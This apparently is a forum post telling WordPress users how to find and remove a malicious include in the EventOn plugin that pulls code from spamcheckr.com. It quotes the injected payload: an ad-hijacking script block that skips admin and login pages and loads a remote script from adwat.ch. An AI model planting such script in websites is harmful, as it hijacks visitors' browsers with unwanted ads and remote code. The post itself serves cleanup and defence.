Just as an aside, for others who may have pulled out every strand of hair trying to resolve this.
My file was hidden away in “classes/class-settings.php” and called by include ‘classes/class-settings.php’; in my eventon.php file.
The key is to do a search (I used the Multi-File Search in TextWrangler of my entire site — downloaded locally to my machine) for the following string: spamcheckr
The “infected” file (class-settings.php) has a ton of commented out lines of code, but it really only does one thing which is to pull the URL “https://spamcheckr.com/l.php”. Just bringing that URL up in your browser will show a blank page. But if you view the source, you will see the following code:
<script type="text/javascript">
var adwatch_id = 234224;
var adwatch_advert = "int";
var exclude_domains = ['wp-admin', 'wp-login', 'hillaryClinton2016.com', 'mpmgworld.com', 'madeforher.in', 'robfordformayor.ca', 'pachecovirtual.com.ar', 'corporativo2.tk', 'r3d.pt'];
</script>
<script type="text/javascript" src="https://adwat.ch/js/easylink.js"></script>
Just delete the include from your file and delete that class-settings.php and you should be good to go.
Hope this helps.